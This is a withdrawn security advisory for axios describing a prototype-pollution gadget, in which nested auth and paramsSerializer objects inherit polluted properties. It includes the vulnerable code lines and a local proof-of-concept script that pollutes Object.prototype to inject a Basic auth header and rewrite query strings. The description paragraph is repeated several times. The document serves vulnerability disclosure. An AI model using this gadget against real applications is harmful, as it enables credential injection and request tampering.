CVE-2026-67319

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

• Node HTTP adapter Basic auth handling in lib/adapters/http.js.
• Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
• Query serialization through lib/helpers/buildURL.js.
• axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

• auth: {} or an auth object missing own username and/or password.
• paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

• Requests with no auth property.
• Requests with no paramsSerializer property.
• Top-level polluted auth or paramsSerializer values in current hardened versions.

Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

} else if (utils.isPlainObject(source)) {
  return utils.merge({}, source);
}

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

In lib/adapters/http.js:

const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;

In lib/helpers/buildURL.js:

const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;

Proof of Concept of Attack

import http from 'node:http';
import axios from './index.js';

const user = 'attacker';
const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {
  value: user,
  configurable: true
});

Object.defineProperty(Object.prototype, 'password', {
  value: pass,
  configurable: true
});

Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true
});

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    url: req.url
  }));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {
  const port = server.address().port;
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored' }
  });

  console.log(response.data);
} finally {
  await new Promise((resolve) => server.close(resolve));
  delete Object.prototype.username;
  delete…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-7q8q-rj6j-mhjq. This link is maintained to preserve external references.

Original Description

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.